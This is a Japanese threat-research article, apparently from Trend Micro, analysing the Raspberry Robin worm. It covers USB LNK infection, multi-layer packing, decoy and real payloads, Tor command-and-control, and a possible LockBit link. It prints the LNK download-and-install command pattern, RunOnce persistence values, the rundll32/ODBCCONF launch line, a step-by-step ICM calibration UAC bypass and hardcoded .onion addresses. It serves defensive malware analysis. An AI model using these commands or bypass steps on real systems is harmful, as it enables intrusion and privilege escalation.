マルウェア
通信事業や行政機関を狙うマルウェア「Raspberry Robin」
トレンドマイクロでは、Torネットワークにペイロードを配布するマルウェアの検体を発見しました。このマルウェアは、9月の終わりにかけて、多数の企業や組織に影響を及ぼしました。初期調査の結果、マルウェアのメイン処理部には実ペイロードと偽ペイロードの双方が含まれていることが判明しました。
通信事業や行政機関を狙うマルウェア「Raspberry Robin」
トレンドマイクロでは、Torネットワークにペイロードを配布するマルウェアの検体を発見しました。このマルウェアは、9月の終わりにかけて、多数の企業や組織に影響を及ぼしました。初期調査の結果、マルウェアのメイン処理部には実ペイロードと偽ペイロードの双方が含まれていることが判明しました。マルウェアの動作として、サンドボックスツールを検知した場合は、偽ペイロードを読み込みます。これによって、実ペイロードをセキュリティツールや解析ツールから隠し、検知や分析を阻止しようとします。実ペイロードは、コード圧縮された階層内で難読化された状態のまま、Torネットワークに接続します。Red Canaryによって「Raspberry Robin(トレンドマイクロではBackdoor.Win32.RASPBERRYROBIN.Aとして検知)」の名前で特定された本攻撃キャンペーンまたはマルウェアは、ワームに近い機能(.lnkファイルの使用による)を持ち、感染したUSB端末を起点としてシステム上に拡散したと考えられます。
今回の攻撃者が本マルウェアを展開する主目的については、その感染処理の進め方や階層的なコード圧縮方式をもとに、現在も調査中です。現時点で考えられる可能性として、情報窃取からサイバースパイ活動などが挙げられます。技術的な特徴として、コードを多階層に渡って難読化する他、サンドボックスや解析環境を検知した場合には偽ペイロードを読み込むなど、自身の動作を隠蔽する技巧が施されています。Raspberry Robinの背後にいるグループは、本マルウェアがどこまで拡散されるかを事前調査しているようにも見えます。被害者の大半は、ラテンアメリカ、オセアニア(オーストラリア)、ヨーロッパ圏の行政機関や通信事業に集中しています。弊社では、本マルウェアによる活動を確認して以来、さまざまな検体の亜種を収集し、その動向を継続的に監視しています。
感染経路
Raspberry Robinによる感染の起点は、ユーザが端末に接続したUSBデバイスであり、そこに含まれるショートカットファイルまたはLNKファイルから不正な処理が始まります。LNKファイル内のショートカット先として指定されたコマンドラインは、正規の実行ファイルを起動し、それを介してWindowsインストーラ(MSI)パッケージをダウンロードします。正規の実行ファイルは通常msiexec.exeですが、wmic.exeを用いる検体も確認されています。
LNKファイルのショートカット先は、その難読化を解除すると、「cmd.exe /c start msiexec {ダウンロード元URL}」という形式を持ちます。ユーザによってLNKファイルがダブルクリックされると、Windowsシェルがそのショートカット先を開きます。ここで言う「開く」とは、実質上は「実行する」を意味します。ショートカット先の第一要素が実行ファイル(cmd.exe)となっているためです。Cmd.exeは、オプション「/c」以降の文(start msiexec {ダウンロード元URL})をコマンドと見なして実行します。結果、同じコマンドをコマンドプロンプト画面に直接入力した時と同様のことが起こります。このコマンドを起動すると、Cmd.exeとしての処理は終了します。
コマンド「start」は、別のプログラム(今回の場合はmsiexec)を待機なしで起動する用途で用いられます。「start」があることで、cmd.exeとしての処理は「msiexec」を起動した時点で完了し、msiexec側の処理が終わるまで待機する必要はありません。startによって起動された「msiexec」は、指定されたURLからマルウェア本体を含むMSI(Windowsインストーラ)ファイルをダウンロードし、成功した場合にはインストールを行います。ダウンロード元URLの形式は、下記の通りです。
- http[:]//{ドメイン}:8080/{ランダム文字列と/}/<コンピュータ名>
- http[:]//{ドメイン}:8080/{ランダム文字列と/}/<コンピュータ名>=<ユーザ名>
- http[:]//{ドメイン}:8080/{ランダム文字列と/}/<コンピュータ名>?<ユーザ名>
LNKファイルのスラッシュ文字「/」は、LNKファイル内ではフォワードスラッシュ「/」とバックスラッシュ「\」の組み合わせで表現されます。ドメインは通常、2文字から4文字の英数字に対してドット「.」を付加し、さらにそこに2文字を付加した形式が用いられます。
マルウェアの本体
マルウェア解析を妨害する目的から、Raspberry Robinの本体に相当するコードは多階層で圧縮されています。また、各階層には強度の難読化が施されています。
コードの難読化
コードにはさまざまな方式で難読化が施されています。まず第3層では、各サブルーチンをステートマシンと見なし、ループで動くように実装されています。各サブルーチンの初期処理では、さまざまな値が設定されたパラメータ表を復号します。復号後のパラメータ表には、サブルーチンの処理に必要な定数や、ステートマシンの状態遷移表に関する定義が含まれます。
マルウェア本体を難読化するもう1つの手口として、他のサブルーチン呼び出しを隠す技術が用いられています。通常のプログラムにおいて、呼び出し先サブルーチンのアドレスは、呼び出し命令自体に埋め込まれています。一方、今回のマルウェアでは、先述の復号済みパラメータ表とハードコーディングされた値をもとに、アドレスがマルウェア側の処理によって独自に算出されます。算出結果はレジスタに格納され、「間接呼び出し命令」によってその値が呼び出し先アドレスとして扱われます。
パッカーの構造
下図に示すように、本マルウェアは2つのペイロードによって構成され、そのペイロード用のローダは6層に渡って圧縮(パッキング)されています。
第1層と第2層は、同一のパッカー(自己展開機能を持つプログラム)に所属します。第1層のエントリー部に該当する処理は、下記に示す4種のみです。
- 埋め込まれたローダを展開する機能の呼び出し
- ペイロードを展開する機能の呼び出し
- 返却値を1に設定してローダ側にジャンプ
- 呼び出し元へのリターン
実際のコードは、下図に示す例のように難読化されています。
第2層以降のコードをダンプしたところ、第2層に対応するコードの終端直後に位置する、オフセット地点0x3F0からすぐに第3層のコードが続いていることが分かりました。
第3層と第5層は、解析を妨害する機能を備えていることが分かりました。また、複数階層で同種のパッカーが使用されるパターンも見られました。例えば、第4層と第7層、および第10層と第11層では、それぞれ同一のパッカーで作られています。さらに第8層と第14層も、類似するパッカーで作られています。同種のパッカーが繰り返し使用されていることから、攻撃者は何らかの独立した圧縮プログラムを使用していると推測されます。将来的な攻撃でも同じパッカーが使用される可能性を考慮し、弊社では、当該の圧縮プログラムが今回の攻撃グループ自身の手で作成されたのか、それとも他のグループによるものなのかを確認するための調査を進めています。また、重複していたパッカーを別のものに置き変えた亜種が出てくる可能性も考えられます。
第8層にあるペイロード用ローダの処理は、2系統に分岐します。検査環境に置かれていることがマルウェアによって検知された場合は偽ペイロードが、それ以外の場合は実ペイロードが読み込まれます。
偽ペイロード
偽ペイロードは2階層で構成されます。その第1層は、Windowsの実行形式である「PE」ファイルを含むシェルコードです。第2層は、PEファイルからMZヘッダーとPE署名を除去したデータに相当します。第1層は、第2層の処理を読み込んで実行します。
第2層は、起動すると即座にメイン処理用のスレッドを立ち上げます。このスレッドは、まず以下のレジストリキー配下の値「Active」を取得します。
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Media
この値は感染マーカーとして機能します。当該のレジストリ値を読み込めなかった場合は文字列「1」を新規に登録し、コンピュータ名や現在のユーザ名、プロセッサの種類、ディスプレイのデバイス名といったシステム情報を収集します。偽ペイロードのバージョンによっては、ハードコーディングされた鍵を用いてこれらのシステム情報をRC4アルゴリズムで暗号化するケースも見られました。この後、偽ペイロードは、以下のの末尾にシステム情報を付加したURLにアクセスし、ファイルをダウンロードします。検体のバージョンによっては、ダウンロードしたファイルをさらに実行するケースも確認されました。
http[:]//{IP address}:8080/
偽ペイロードの様々な検体を調査したところ、メイン処理の成功後に環境変数「USERDNSDOMAIN」の有無を確認し、標的システムがドメインに繋がっているかを判定するケースも見られました。この際、環境変数が設定されていない場合はアドウェア「BrowserAssistant」を以下にドロップします。この動作の狙いは、解析者にペイロードの正体を突き止めたと思い込ませ、これ以上検体を調査しないように誘導することにあると考えられます。
%User Temp%\{ランダムな数}.exe
実ペイロード
実ペイロードは3層から構成されます。その第3層には、ペイロードとしての実処理を担うバイナリが格納されています。このバイナリは2度に渡る圧縮が施されています。さらに、実ペイロードにはTorクライアントが埋め込まれ、共有メモリを介して両者が情報を交換できるように設定されています。
インストール
マルウェアが標的システムにインストール済みであるかを判定するため、実ペイロードは、自身が「セッション0」のプロセスとして動いているかを確認します。Windows Vista以前のOSにおいて、サービス系プログラムは、初回ログインユーザと同じセッション(セッション0)の下で稼働します。一方、Windows Vistaおよびそれ以降のOSでは、「セッション0分離」というセキュリティ対策がMicrosoft社によって導入されています。この対策では、セッション0がシステム側のサービスやユーザ操作を想定しないプロセス専用に隔離されます。
このセキュリティ対策を踏まえ、今回のマルウェアは、まずユーザプロファイルが管理者権限で起動しているかどうかを確認します。もし管理者でない場合は、権限昇格を行うために自身のコピーを以下にコピーします。
%ProgramData%\{ランダムなフォルダ名}\{ランダムなファイル名}.{拡張子}
管理者である場合は、自身のコピーを以下にコピーします。これにより、不正な処理も正規のWindowsプロセスによって起動されたように見えるため、セキュリティ解析者による検知の妨害手段として機能します。コピーファイルの拡張子は、下記からランダムに選択されます。
%ProgramData%\Microsoft\{ランダムなフォルダ名}\{ランダムなファイル名}.{拡張子}
- .bak
- .dat
- .db
- .dmp
- .etl
- .idx
- .json
- .lkg
- .lock
- .log
- .man
- .tmp
- .txt
- .vdm
- .xml
- .xsd
続いて、システムのスタートアップ時にコピーファイルが自動起動するように、レジストリ値を編集します。まず、ユーザが管理者権限を持っていない場合、下記のようにレジストリ編集を行います。
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
{ランダムな値の名前} = rundll32 shell32 ShellExec_RunDLLA REGSVR /u /s “{ドロップしたコピーファイルへのパスとファイル名}”
逆に、ユーザのプロファイルが管理者権限を持つ場合は、下記のようにレジストリを編集します。
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\{ランダムなキーの名前}
{ランダムな値の名前} = “shell32|ShellExec_RunDLLA|REGSVR /u /s {ドロップしたコピーファイルへのパスとファイル名}”
権限昇格
マルウェアは、自身のコピーをドロップした後、ユーザアクセス制御(UAC:User Account Control)を回避して管理者権限でコピーファイルを実行します。UAC回避に用いられた手口は、「UACMe」の「ucmDccwCOMMethod」と呼ばれる技術であり、ビルドイン済みの「Windows AutoElevate」用バックドアを不正使用します。
上記のUAC回避に先立ち、マルウェアはシステム内にセキュリティ製品のファイルが読み込まれているかをチェックします。具体的にはBitDefenderの「atcuf32.dll」、Avastの「aswhook.dll」、Kasperskyの「avp.exe」の3つを指します。これらのファイルが1つでも読み込まれている場合、マルウェアはUAC回避の処理をスキップします。次に、下記コマンドを含むショートカットファイルを「%User Temp%\{ランダムなファイル名}.lnk」にドロップします。
rundll32.exe SHELL32,ShellExec_RunDLL "C:\Windows\system32\ODBCCONF.EXE" /a {configsysdsn OCNKBENXGMI etba odjcnr} /A {installtranslator fxodi} -a {installdriver qmprmxf} /a {configsdn HHAP} regsvr "{ドロップしたコピーファイルへのパスとファイル名}" /S /e -s
続いて、CMLuaUtil用の昇格されたCOMオブジェクトを生成し、これを用いてレジストリを変更します。この変更は、ドロップしたLNKファイルを、ディスプレイキャリブレーション用プログラムとして設定するものです。具体的なレジストリキーと値は下記の通りです。
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\ICM\Calibration
DisplayCalibrator = "%User Temp%\{ランダムなファイル名}.lnk"
その後ColorDataProxy用の昇格されたCOMオブジェクトを生成し、そのメソッド「LaunchDccw」を呼び出すことで、先にキャリブレーション用プログラムとして設定した不正なLINKファイルを実行させます。最後に、不正な活動を隠蔽するためにレジストリ値「DisplayCalibrator」を以下に変更します。
%SystemRoot%\System32\DCCW.exe
メイン処理
実ペイロードはセッション0で起動し、別プロセスを介する形で、ハードコーディングされたTorアドレスへの接続を試みます。この際、実ペイロードとTor接続プロセス間で情報交換を行うため、下記の形式で名前付き共有メモリマップを作成します。
オフセット |
サイズ |
内容 |
00h |
1 |
フラグ |
01h |
1 |
成功 |
04h |
4(DWORD) |
IPアドレス |
08h |
8(ファイル時刻) |
|
10h |
4(DWORD) |
データサイズ |
14h |
データサイズ |
データ |
Torアドレスは共有メモリのオフセット14hに格納されます。一方、コード内では、暗号化された値がハードコーディングで定義されています。今回特定されたアドレスの一部を「.onion(V2)」形式で下記に示します。
- sejnfjrq6szgca7v
- zdfsyv3rubuhpql3
- ihdhoeoovbtgutfm
- tapeucwutvne7l5o
- 2qlvvvnhqyda2ahd
- answerstedhctbek
- 5j7saze5byfqccf3
- cmgvqnxjoiqthvrc
- 3bbaaaccczcbdddz
- sgvtcaew4bxjd7ln
- ugw3zjsayleoamaz
- ynvs3km32u33agwq
- njalladnspotetti
- psychonaut3z5aoz
- habaivdfcyamjhkk
- torwikignoueupfm
- bitmailendavkbec
- cyphdbyhiddenbhs
- clgs64523yi2bkhz
- 76qugh5bey5gum7l
- hd37oiauf5uoz7gg
- expressobutiolem
- gl3n4wtekbfaubye
- archivecaslytosk
- kyk55bof3hzdiwrm
- qqvyib4j3fz66nuc
- bcwpy5wca456u7tz
- pornhubthbh7ap3u
- fncuwbiisyh6ak3i
Tor接続用プロセスを開始するにあたり、実ペイロードは共有メモリ用の名前を下記から選択します。
- dllhost.exe
- regsvr32.exe
- rundll32.exe
Torクライアント
Torクライアント自体は4つの階層で構成されます。最初の2層は、自己展開機能を行うパッカーとしてのコードに相当します。第3層では、Torアドレスを共有メモリから取得する他、第4層の内容を復号し、当該層にあるTor通信の実処理を呼び出します。第4層で受信したデータは第3層側で暗号化され、共有メモリに書き込むことで、メイン処理側から読み出されます。
結論
本マルウェアは、さまざまな解析妨害用の技術を備える他、メインのペイロードを多層に渡って圧縮することで、解析の敷居をことさらに高めています。熟練した解析者でなければ、偽ペイロードしか発見できない場合もあるでしょう。明らかに、今回の攻撃グループは解析を妨害するために相当な労力をつぎ込んだと考えられます。
コードを圧縮する技術自体は新しいものではありません。圧縮階層の間には著しく類似したコードも見られ、それぞれをパッカーファミリにグループ分けすることも可能です。圧縮のスタイルは全階層でほぼ同様ですが、最初の2層だけは、実行ファイルから一部ヘッダーを除去し、暗号化し、展開用コードに付加するという特殊な形式が用いられています。以上より、今回の攻撃グループは、ペイロードの実行ファイルを多階層に渡って圧縮する専用プログラム、またはそれに近いものを使用していると考えられます。表面的には、当該グループはこうした圧縮技術を「実行形式の圧縮サービス(executable packing-as-a-service)」として提供しているようにも見えます。また、当該グループのメンバーはランサムウェア「LockBit」と繋がっている可能性も考えられます。トレンドマイクロでは、今後も本マルウェアの事例や検体に見られるデバック妨害技術や階層構造について分析を進め、その結果もドキュメントで報告していきます。
セッション0を用いた技術も洗練されています。セッション0分離の目的は、ユーザ操作が発生するローカルシステムアカウント環境からサービスを切り離し、セキュリティを向上することです。ユーザ操作がなく、通常のプロセスではアクセスできない環境にサービスを閉じ込めることで、不正なコードの権限昇格が防止されます。従って、セッション0にアクセスできることは、高い権限を掌握していることを意味します。しかし、そのセッション0にアクセスするためにも、権限昇格の技術が必要になります。
この権限昇格の技術として、今回収集した検体では、昇格COMインターフェースが利用されています。昇格COMクラスを通してコードを実行することで、攻撃者は自動的にアクセス権限の昇格を達成したとみなせます。しかし、前提条件として、プログラム名(あるいはそれに近いもの)を受け取ってそれを起動させる機能を持つCOMクラスを発見する必要があります。今回の場合、それがICM(Image Color Management:画像の色管理)に相当します。ディスプレイキャリブレーションを行うのは、レジストリで指定されたプログラムです。そのため、そのレジストリ値を任意の不正なプログラムやそのショートカットファイルで書き換え、システム経由でディスプレイキャリブレーションを呼び出すことで、当該プログラムを実行させることが可能です。
権限昇格に関して、ランサムウェア「LockBit」でもICMキャリブレーションが使用されている点は特記に値します。また、デバッグの妨害技術として「ThreadHideFromDebugger」が用いられている点でも、両者は類似しています。しかし、同じ技術が使用されているだけで、LockBitとRaspberry Robinのグループまたはメンバーが同一であると結論付けることはできません。しかし、LockBitがサービスとしてのランサムウェア(RaaS:Ransomware-as-a-Service)として運用されていることを踏まえると、下記の可能性が考えられます。
- LockBitのグループがRaspberry Robinの背後にいる
- LockBitのグループがRaspberry Robinによって開発されたツールの一部を使用した
- Raspberry Robinのグループが、LockBitの技術を担う提携グループのサービスを利用した
Torクライアントが返したデータが空、または使用されていなかった点より、Raspberry Robinのグループは、本マルウェアによる活動がどこまで拡散するのかを調査していたと推測されます。従って、今回の事例は当該グループによる長期的な計画の一部であり、将来的にさらなる攻撃が行われることを示す兆候と考えることができます。
参考記事:
Raspberry Robin Malware Targets Telecom, Governments
By: Mickey Jin
翻訳:清水 浩平(Core Technology Marketing, Trend Micro™ Research)